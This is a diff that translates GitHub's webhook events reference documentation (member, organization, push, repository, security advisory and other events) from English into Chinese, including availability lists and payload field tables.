 {% data reusables.webhooks.member_webhook_properties %}
 {% data reusables.webhooks.member_properties %}
@@ -659,7 +660,7 @@ For a detailed description of this payload and the payload for each type of `act
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.member.added }}
 
@@ -667,57 +668,57 @@ For a detailed description of this payload and the payload for each type of `act
 
 {% data reusables.webhooks.membership_short_desc %}
 
-### Availability
+### 可用性
 
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `members` permission
+- 组织 web 挂钩
+- 具有 `members` 权限的 {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
 {% data reusables.webhooks.membership_properties %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.membership.removed }}
 
 ## meta
 
-The webhook this event is configured on was deleted. This event will only listen for changes to the particular hook the event is installed on. Therefore, it must be selected for each hook that you'd like to receive meta events for.
+配置此事件的 web 挂钩已被删除。 此事件将仅监听对安装此事件的特定挂钩的更改。 因此，必须为要接收元事件的每个挂钩选择它。
 
-### Availability
+### 可用性
 
-- Repository webhooks
-- Organization webhooks
+- 仓库 web 挂钩
+- 组织 web 挂钩
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
-Key | Type | Description
-----|------|-------------
-`action` |`string` | The action performed. Can be `deleted`.
-`hook_id`  |`integer` | The id of the modified webhook.
-`hook` |`object` | The modified webhook. This will contain different keys based on the type of webhook it is: repository, organization, business, app, or GitHub Marketplace.
+| 键         | 类型    | 描述                                                                                          |
+| --------- | ----- | ------------------------------------------------------------------------------------------- |
+| `action`  | `字符串` | 执行的操作。 可以是 `deleted`。                                                                       |
+| `hook_id` | `整数`  | 修改后的 web 挂钩的 ID。                                                                            |
+| `挂钩`      | `对象`  | 修改后的 web 挂钩。 它将包含基于 web 挂钩类型的不同键：repository、organization、business、app 或 GitHub Marketplace。 |
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.meta.deleted }}
 
-## milestone
+## 里程碑
 
 {% data reusables.webhooks.milestone_short_desc %}
 
-### Availability
+### 可用性
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `pull_requests` permission
+- 仓库 web 挂钩
+- 组织 web 挂钩
+- 具有 `pull_requests` 权限的 {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
 {% data reusables.webhooks.milestone_properties %}
 {% data reusables.webhooks.repo_desc %}
@@ -725,33 +726,33 @@ Key | Type | Description
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.milestone.created }}
 
-## organization
+## 组织
 
 {% data reusables.webhooks.organization_short_desc %}
 
-### Availability
+### 可用性
 
 {% ifversion ghes or ghae %}
-- GitHub Enterprise webhooks only receive `created` and `deleted` events. For more information, "[Global webhooks](/rest/reference/enterprise-admin#global-webhooks/).{% endif %}
-- Organization webhooks only receive the `deleted`, `added`, `removed`, `renamed`, and `invited` events
-- {% data variables.product.prodname_github_apps %} with the `members` permission
+- GitHub Enterprise web 挂钩只接收 `created` 和 `deleted` 事件。 更多信息请参阅“[全局 web 挂钩](/rest/reference/enterprise-admin#global-webhooks/)”。{% endif %}
+- 组织 web 挂钩只接收 `deleted`、`added`、`removed`、`renamed` 和 `invited` 事件
+- 具有 `members` 权限的 {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
-Key | Type | Description
-----|------|-------------
-`action` |`string` | The action that was performed. Can be one of:{% ifversion ghes or ghae %} `created`,{% endif %} `deleted`, `renamed`, `member_added`, `member_removed`, or `member_invited`.
-`invitation` |`object` | The invitation for the user or email if the action is `member_invited`.
-`membership`  |`object` | The membership between the user and the organization.  Not present when the action is `member_invited`.
+| 键            | 类型    | 描述                                                                                                                                          |
+| ------------ | ----- | ------------------------------------------------------------------------------------------------------------------------------------------- |
+| `action`     | `字符串` | 执行的操作内容. 可以是以下选项之一：{% ifversion ghes or ghae %}`created`、{% endif %}`deleted`、`renamed`、`member_added`、`member_removed` 或 `member_invited`。 |
+| `邀请`         | `对象`  | 对用户的邀请或电子邮件邀请（如果操作为 `member_invited`）。                                                                                                      |
+| `membership` | `对象`  | 用户和组织之间的成员资格。  当操作为 `member_invited` 时不存在。                                                                                                  |
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.organization.member_added }}
 
@@ -761,22 +762,22 @@ Key | Type | Description
 
 {% data reusables.webhooks.org_block_short_desc %}
 
-### Availability
+### 可用性
 
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `organization_administration` permission
+- 组织 web 挂钩
+- 具有 `organization_administration` 权限的 {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
-Key | Type | Description
-----|------|------------
-`action` | `string` | The action performed. Can be `blocked` or `unblocked`.
-`blocked_user` | `object` | Information about the user that was blocked or unblocked.
+| 键              | 类型    | 描述                                  |
+| -------------- | ----- | ----------------------------------- |
+| `action`       | `字符串` | 执行的操作。 可以是 `blocked` 或 `unblocked`。 |
+| `blocked_user` | `对象`  | 有关被阻止或取消阻止的用户的信息。                   |
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.org_block.blocked }}
 
@@ -786,21 +787,21 @@ Key | Type | Description
 
 ## package
 
-Activity related to {% data variables.product.prodname_registry %}. {% data reusables.webhooks.action_type_desc %} For more information, see "[Managing packages with {% data variables.product.prodname_registry %}](/github/managing-packages-with-github-packages)" to learn more about {% data variables.product.prodname_registry %}.
+与 {% data variables.product.prodname_registry %} 有关的活动。 {% data reusables.webhooks.action_type_desc %}更多信息请参阅“[使用 {% data variables.product.prodname_registry %} 管理包](/github/managing-packages-with-github-packages)”以详细了解 {% data variables.product.prodname_registry %}。
 
-### Availability
+### 可用性
 
-- Repository webhooks
-- Organization webhooks
+- 仓库 web 挂钩
+- 组织 web 挂钩
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
 {% data reusables.webhooks.package_properties %}
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.package.published }}
 {% endif %}
@@ -809,24 +810,24 @@ Activity related to {% data variables.product.prodname_registry %}. {% data reus
 
 {% data reusables.webhooks.page_build_short_desc %}
 
-### Availability
+### 可用性
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `pages` permission
+- 仓库 web 挂钩
+- 组织 web 挂钩
+- 具有 `pages` 权限的 {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
-Key | Type | Description
-----|------|------------
-`id` | `integer` | The unique identifier of the page build.
-`build` | `object` | The [List GitHub Pages builds](/rest/reference/pages#list-github-pages-builds) itself.
+| 键    | 类型   | 描述                                                                      |
+| ---- | ---- | ----------------------------------------------------------------------- |
+| `id` | `整数` | 页面构建的唯一标识符。                                                             |
+| `构建` | `对象` | [列表 GitHub Pages 构建](/rest/reference/pages#list-github-pages-builds)本身。 |
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.page_build }}
 
@@ -834,25 +835,25 @@ Key | Type | Description
 
 {% data reusables.webhooks.ping_short_desc %}
 
-### Availability
+### 可用性
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} receive a ping event with an `app_id` used to register the app
+- 仓库 web 挂钩
+- 组织 web 挂钩
+- {% data variables.product.prodname_github_apps %} 接收带有用于注册应用程序的 `app_id` 的 ping 事件。
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
-Key | Type | Description
-----|------|------------
-`zen` | `string` | Random string of GitHub zen.
-`hook_id` | `integer` | The ID of the webhook that triggered the ping.
-`hook` | `object` | The [webhook configuration](/rest/reference/webhooks#get-a-repository-webhook).
-`hook[app_id]` | `integer` | When you register a new {% data variables.product.prodname_github_app %}, {% data variables.product.product_name %} sends a ping event to the **webhook URL** you specified during registration. The event contains the `app_id`, which is required for [authenticating](/apps/building-integrations/setting-up-and-registering-github-apps/about-authentication-options-for-github-apps/) an app.
+| 键              | 类型    | 描述                                                                                                                                                                                                                                                                                          |
+| -------------- | ----- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `zen`          | `字符串` | GitHub zen 的随机字符串。                                                                                                                                                                                                                                                                          |
+| `hook_id`      | `整数`  | 触发 ping 的 web 挂钩的 ID。                                                                                                                                                                                                                                                                       |
+| `挂钩`           | `对象`  | [web 挂钩配置](/rest/reference/webhooks#get-a-repository-webhook)。                                                                                                                                                                                                                              |
+| `hook[app_id]` | `整数`  | 注册新的 {% data variables.product.prodname_github_app %} 时，{% data variables.product.product_name %} 将 ping 事件发送到您在注册过程中指定的 **web 挂钩 URL**。 该事件包含 `app_id`，这是[验证](/apps/building-integrations/setting-up-and-registering-github-apps/about-authentication-options-for-github-apps/)应用程序的必需项。 |
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.ping }}
 
@@ -860,13 +861,13 @@ Key | Type | Description
 
 {% data reusables.webhooks.project_card_short_desc %}
 
-### Availability
+### 可用性
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `repository_projects` or `organization_projects` permission
+- 仓库 web 挂钩
+- 组织 web 挂钩
+- 具有 `repository_projects` 或 `organization_projects` 权限的 {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
 {% data reusables.webhooks.project_card_properties %}
 {% data reusables.webhooks.repo_desc %}
@@ -874,7 +875,7 @@ Key | Type | Description
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.project_card.created }}
 
@@ -882,13 +883,13 @@ Key | Type | Description
 
 {% data reusables.webhooks.project_column_short_desc %}
 
-### Availability
+### 可用性
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `repository_projects` or `organization_projects` permission
+- 仓库 web 挂钩
+- 组织 web 挂钩
+- 具有 `repository_projects` 或 `organization_projects` 权限的 {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
 {% data reusables.webhooks.project_column_properties %}
 {% data reusables.webhooks.repo_desc %}
@@ -896,7 +897,7 @@ Key | Type | Description
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.project_column.created }}
 
@@ -904,13 +905,13 @@ Key | Type | Description
 
 {% data reusables.webhooks.project_short_desc %}
 
-### Availability
+### 可用性
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `repository_projects` or `organization_projects` permission
+- 仓库 web 挂钩
+- 组织 web 挂钩
+- 具有 `repository_projects` 或 `organization_projects` 权限的 {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
 {% data reusables.webhooks.project_properties %}
 {% data reusables.webhooks.repo_desc %}
@@ -918,7 +919,7 @@ Key | Type | Description
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.project.created }}
 
@@ -926,22 +927,23 @@ Key | Type | Description
 ## public
 
 {% data reusables.webhooks.public_short_desc %}
-### Availability
+### 可用性
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `metadata` permission
+- 仓库 web 挂钩
+- 组织 web 挂钩
+- 具有 `metadata` 权限的 {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
-Key | Type | Description
-----|------|-------------
+| 键 | 类型 | 描述 |
+| - | -- | -- |
+|   |    |    |
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.public }}
 {% endif %}
@@ -949,13 +951,13 @@ Key | Type | Description
 
 {% data reusables.webhooks.pull_request_short_desc %}
 
-### Availability
+### 可用性
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `pull_requests` permission
+- 仓库 web 挂钩
+- 组织 web 挂钩
+- 具有 `pull_requests` 权限的 {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
 {% data reusables.webhooks.pull_request_webhook_properties %}
 {% data reusables.webhooks.pull_request_properties %}
@@ -964,9 +966,9 @@ Key | Type | Description
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
-Deliveries for `review_requested` and `review_request_removed` events will have an additional field called `requested_reviewer`.
+`review_requested` 和 `review_request_removed` 事件的递送将含有一个额外的字段，称为 `requested_reviewer`。
 
 {{ webhookPayloadsForCurrentVersion.pull_request.opened }}
 
@@ -974,13 +976,13 @@ Deliveries for `review_requested` and `review_request_removed` events will have
 
 {% data reusables.webhooks.pull_request_review_short_desc %}
 
-### Availability
+### 可用性
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `pull_requests` permission
+- 仓库 web 挂钩
+- 组织 web 挂钩
+- 具有 `pull_requests` 权限的 {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
 {% data reusables.webhooks.pull_request_review_properties %}
 {% data reusables.webhooks.repo_desc %}
@@ -988,7 +990,7 @@ Deliveries for `review_requested` and `review_request_removed` events will have
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.pull_request_review.submitted }}
 
@@ -996,13 +998,13 @@ Deliveries for `review_requested` and `review_request_removed` events will have
 
 {% data reusables.webhooks.pull_request_review_comment_short_desc %}
 
-### Availability
+### 可用性
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `pull_requests` permission
+- 仓库 web 挂钩
+- 组织 web 挂钩
+- 具有 `pull_requests` 权限的 {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
 {% data reusables.webhooks.pull_request_review_comment_webhook_properties %}
 {% data reusables.webhooks.pull_request_review_comment_properties %}
@@ -1011,71 +1013,71 @@ Deliveries for `review_requested` and `review_request_removed` events will have
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.pull_request_review_comment.created }}
 
-## push
+## 推送
 
 {% data reusables.webhooks.push_short_desc %}
 
 {% note %}
 
-**Note:** You will not receive a webhook for this event when you push more than three tags at once.
+**注：**同时推送三个以上的标记时不会收到此事件的 web 挂钩。
 
 {% endnote %}
 
-### Availability
+### 可用性
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `contents` permission
+- 仓库 web 挂钩
+- 组织 web 挂钩
+- 具有 `contents` 权限的 {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
-Key | Type | Description
-----|------|-------------
-`ref`|`string` | The full [`git ref`](/rest/reference/git#refs) that was pushed. Example: `refs/heads/main` or `refs/tags/v3.14.1`.
-`before`|`string` | The SHA of the most recent commit on `ref` before the push.
-`after`|`string` | The SHA of the most recent commit on `ref` after the push.
-`created`|`boolean` | Whether this push created the `ref`.
-`deleted`|`boolean` | Whether this push deleted the `ref`.
-`forced`|`boolean` | Whether this push was a force push of the `ref`.
-`head_commit`|`object` | For pushes where `after` is or points to a commit object, an expanded representation of that commit. For pushes where `after` refers to an annotated tag object,  an expanded representation of the commit pointed to by the annotated tag.
-`compare`|`string` | URL that shows the changes in this `ref` update, from the `before` commit to the `after` commit. For a newly created `ref` that is directly based on the default branch, this is the comparison between the head of the default branch and the `after` commit. Otherwise, this shows all commits until the `after` commit.
-`commits`|`array` | An array of commit objects describing the pushed commits. (Pushed commits are all commits that are included in the `compare` between the `before` commit and the `after` commit.) The array includes a maximum of 20 commits. If necessary, you can use the [Commits API](/rest/reference/repos#commits) to fetch additional commits. This limit is applied to timeline events only and isn't applied to webhook deliveries.
-`commits[][id]`|`string` | The SHA of the commit.
-`commits[][timestamp]`|`string` | The ISO 8601 timestamp of the commit.
-`commits[][message]`|`string` | The commit message.
-`commits[][author]`|`object` | The git author of the commit.
-`commits[][author][name]`|`string` | The git author's name.
-`commits[][author][email]`|`string` | The git author's email address.
-`commits[][url]`|`url` | URL that points to the commit API resource.
-`commits[][distinct]`|`boolean` | Whether this commit is distinct from any that have been pushed before.
-`commits[][added]`|`array` | An array of files added in the commit.
-`commits[][modified]`|`array` | An array of files modified by the commit.
-`commits[][removed]`|`array` | An array of files removed in the commit.
-`pusher` | `object` | The user who pushed the commits.
+| 键                          | 类型    | 描述                                                                                                                                                                           |
+| -------------------------- | ----- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `ref`                      | `字符串` | 被推送的完整 [`git ref`](/rest/reference/git#refs)。 例如： `refs/heads/main` 或 `refs/tags/v3.14.1`。                                                                                   |
+| `before`                   | `字符串` | 推送之前在 `ref` 上最近提交的 SHA。                                                                                                                                                      |
+| `after`                    | `字符串` | 推送之后在 `ref` 上最近提交的 SHA。                                                                                                                                                      |
+| `created`                  | `布尔值` | 此推送是否创建 `ref`。                                                                                                                                                               |
+| `deleted`                  | `布尔值` | 此推送是否删除 `ref`。                                                                                                                                                               |
+| `forced`                   | `布尔值` | 此推送是否为 `ref` 的强制推送。                                                                                                                                                          |
+| `head_commit`              | `对象`  | 对于 `after` 是提交对象或指向提交对象的推送，为该提交的扩展表示。 对于 `after` 指示注释标记对象的推送，注释标记指向的提交的扩展表示。                                                                                                 |
+| `compare`                  | `字符串` | 显示此 `ref` 更新中更改的 URL，从 `before` 提交到 `after` 提交。 对于新创建的直接基于默认分支的 `ref`，这是默认分支的头部与 `after` 提交之间的比较。 否则，这将显示 `after` 提交之前的所有提交。                                                 |
+| `commits`                  | `数组`  | 描述所推送提交的提交对象数组。 （推送的提交是指包含在 `compare` 中 `before` 提交与 `after` 提交之间的所有提交） 该数组最多包含 20 个提交。 如有必要，可使用[提交 API](/rest/reference/repos#commits) 获取更多提交。 此限制仅适用于时间表事件，而不适用于 web 挂钩递送。 |
+| `commits[][id]`            | `字符串` | 提交的 SHA。                                                                                                                                                                     |
+| `commits[][timestamp]`     | `字符串` | 提交的 ISO 8601 时间戳。                                                                                                                                                            |
+| `commits[][message]`       | `字符串` | 提交消息.                                                                                                                                                                        |
+| `commits[][author]`        | `对象`  | 提交的 Git 作者。                                                                                                                                                                  |
+| `commits[][author][name]`  | `字符串` | Git 作者的名称。                                                                                                                                                                   |
+| `commits[][author][email]` | `字符串` | Git 作者的电子邮件地址。                                                                                                                                                               |
+| `commits[][url]`           | `url` | 指向提交 API 资源的 URL。                                                                                                                                                            |
+| `commits[][distinct]`      | `布尔值` | 此提交是否与之前推送的任何提交不同。                                                                                                                                                           |
+| `commits[][added]`         | `数组`  | 在提交中添加的文件数组。                                                                                                                                                                 |
+| `commits[][modified]`      | `数组`  | 由提交修改的文件数组。                                                                                                                                                                  |
+| `commits[][removed]`       | `数组`  | 在提交中删除的文件数组。                                                                                                                                                                 |
+| `pusher`                   | `对象`  | 推送提交的用户。                                                                                                                                                                     |
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.push }}
 
-## release
+## 发行版
 
 {% data reusables.webhooks.release_short_desc %}
 
-### Availability
+### 可用性
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `contents` permission
+- 仓库 web 挂钩
+- 组织 web 挂钩
+- 具有 `contents` 权限的 {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
 {% data reusables.webhooks.release_webhook_properties %}
 {% data reusables.webhooks.release_properties %}
@@ -1084,66 +1086,66 @@ Key | Type | Description
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.release.published }}
 
 {% ifversion fpt or ghes or ghae or ghec %}
 ## repository_dispatch
 
-This event occurs when a {% data variables.product.prodname_github_app %} sends a `POST` request to the "[Create a repository dispatch event](/rest/reference/repos#create-a-repository-dispatch-event)" endpoint.
+当 {% data variables.product.prodname_github_app %} 将 `POST` 请求发送到“[创建仓库分发事件](/rest/reference/repos#create-a-repository-dispatch-event)”端点时，此事件发生。
 
-### Availability
+### 可用性
 
-- {% data variables.product.prodname_github_apps %} must have the `contents` permission to receive this webhook.
+- {% data variables.product.prodname_github_apps %} 必须具有 `contents` 权限才能接收此 web 挂钩。
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.repository_dispatch }}
 {% endif %}
 
-## repository
+## 仓库
 
 {% data reusables.webhooks.repository_short_desc %}
 
-### Availability
+### 可用性
 
-- Repository webhooks receive all event types except `deleted`
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `metadata` permission receive all event types except `deleted`
+- 仓库 web 挂钩接收除 `deleted` 之外的所有事件类型
+- 组织 web 挂钩
+- 具有 `metadata` 权限的 {% data variables.product.prodname_github_apps %} 接收除 `deleted` 之外的所有事件类型
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
-Key | Type | Description
-----|------|-------------
-`action` |`string` | The action that was performed. This can be one of:<ul><li>`created` - A repository is created.</li><li>`deleted` - A repository is deleted.</li><li>`archived` - A repository is archived.</li><li>`unarchived` - A repository is unarchived.</li>{% ifversion ghes or ghae %}<li>`anonymous_access_enabled` - A repository is [enabled for anonymous Git access](/rest/overview/api-previews#anonymous-git-access-to-repositories), `anonymous_access_disabled` - A repository is [disabled for anonymous Git access](/rest/overview/api-previews#anonymous-git-access-to-repositories)</li>{% endif %}<li>`edited` - A repository's information is edited.</li><li>`renamed` - A repository is renamed.</li><li>`transferred` - A repository is transferred.</li><li>`publicized` - A repository is made public.</li><li> `privatized` - A repository is made private.</li></ul>
+| 键        | 类型    | 描述                                           |
+| -------- | ----- | -------------------------------------------- |
+| `action` | `字符串` | 执行的操作内容. 可以是以下选项之一：<ul><li>`created` - 创建了仓库。</li><li>`deleted` - 仓库被删除。</li><li>`archived` - 仓库被存档。</li><li>`unarchived` - 仓库被取消存档。</li>{% ifversion ghes or ghae %}<li>`anonymous_access_enabled` - 仓库被[启用匿名 Git 访问](/rest/overview/api-previews#anonymous-git-access-to-repositories), `anonymous_access_disabled` - 仓库被[禁用匿名 Git 访问](/rest/overview/api-previews#anonymous-git-access-to-repositories)</li>{% endif %}<li>`edited` - 仓库的信息被编辑。</li><li>`renamed` - 仓库被重命名。</li><li>`transferred` - 仓库被转让。</li><li>`publicized` - 仓库被设为公共。</li><li> `privatized` - 仓库被设为私有。</li></ul> |
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.repository.publicized }}
 
 {% ifversion fpt or ghec %}
 ## repository_import
 
-{% data reusables.webhooks.repository_import_short_desc %} To receive this event for a personal repository, you must create an empty repository prior to the import. This event can be triggered using either the [GitHub Importer](/articles/importing-a-repository-with-github-importer/) or the [Source imports API](/rest/reference/migrations#source-imports).
+{% data reusables.webhooks.repository_import_short_desc %} 要在个人仓库中接收此事件，必须在导入之前创建一个空仓库。 此事件可使用 [GitHub 导入工具](/articles/importing-a-repository-with-github-importer/)或[来源导入 API](/rest/reference/migrations#source-imports) 触发。
 
-### Availability
+### 可用性
 
-- Repository webhooks
-- Organization webhooks
+- 仓库 web 挂钩
+- 组织 web 挂钩
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
 {% data reusables.webhooks.repository_import_properties %}
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.repository_import }}
 
@@ -1151,19 +1153,19 @@ Key | Type | Description
 
 {% data reusables.webhooks.repository_vulnerability_alert_short_desc %}
 
-### Availability
+### 可用性
 
-- Repository webhooks
-- Organization webhooks
+- 仓库 web 挂钩
+- 组织 web 挂钩
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
 {% data reusables.webhooks.repository_vulnerability_alert_properties %}
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.repository_vulnerability_alert.create }}
 
@@ -1175,21 +1177,21 @@ Key | Type | Description
 
 {% data reusables.webhooks.secret_scanning_alert_event_short_desc %}
 
-### Availability
+### 可用性
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `secret_scanning_alerts:read` permission
+- 仓库 web 挂钩
+- 组织 web 挂钩
+- 具有 `secret_scanning_alerts:read` 权限的 {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
 {% data reusables.webhooks.secret_scanning_alert_event_properties %}
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.app_desc %}
-`sender` | `object` | If the `action` is `resolved` or `reopened`, the `sender` object will be the user that triggered the event. The `sender` object is empty for all other actions.
+`sender` | `object` | 如果 `action` 是 `resolved` 或 `reopened`，则 `sender` 对象将是触发事件的用户。 对于所有其他操作，`sender` 对象都为空。
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.secret_scanning_alert.reopened }}
 {% endif %}
@@ -1197,22 +1199,22 @@ Key | Type | Description
 {% ifversion fpt or ghes or ghec %}
 ## security_advisory
 
-Activity related to a security advisory that has been reviewed by {% data variables.product.company_short %}. A {% data variables.product.company_short %}-reviewed security advisory provides information about security-related vulnerabilities in software on {% data variables.product.prodname_dotcom %}. 
+Activity related to a security advisory that has been reviewed by {% data variables.product.company_short %}. A {% data variables.product.company_short %}-reviewed security advisory provides information about security-related vulnerabilities in software on {% data variables.product.prodname_dotcom %}.
 
-The security advisory dataset also powers the GitHub {% data variables.product.prodname_dependabot_alerts %}. For more information, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies/)."
+The security advisory dataset also powers the GitHub {% data variables.product.prodname_dependabot_alerts %}. 更多信息请参阅“[关于易受攻击的依赖项的警报](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies/)”。
 
-### Availability
+### 可用性
 
-- {% data variables.product.prodname_github_apps %} with the `security_events` permission
+- 具有 `security_events` 权限的 {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
-Key | Type | Description
-----|------|-------------
-`action` |`string` | The action that was performed. The action can be one of `published`, `updated`, `performed`, or `withdrawn` for all new events.
-`security_advisory` |`object` | The details of the security advisory, including summary, description, and severity.
+| 键                   | 类型    | 描述                                                                          |
+| ------------------- | ----- | --------------------------------------------------------------------------- |
+| `action`            | `字符串` | 执行的操作内容. 对于所有新事件，该操作可以是 `published`、`updated`、`performed` 或 `withdrawn` 之一。 |
+| `security_advisory` | `对象`  | 安全通告的详细信息，包括摘要、说明和严重程度。                                                     |
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.security_advisory.published }}
 
@@ -1223,104 +1225,104 @@ Key | Type | Description
 
 {% data reusables.webhooks.sponsorship_short_desc %}
 
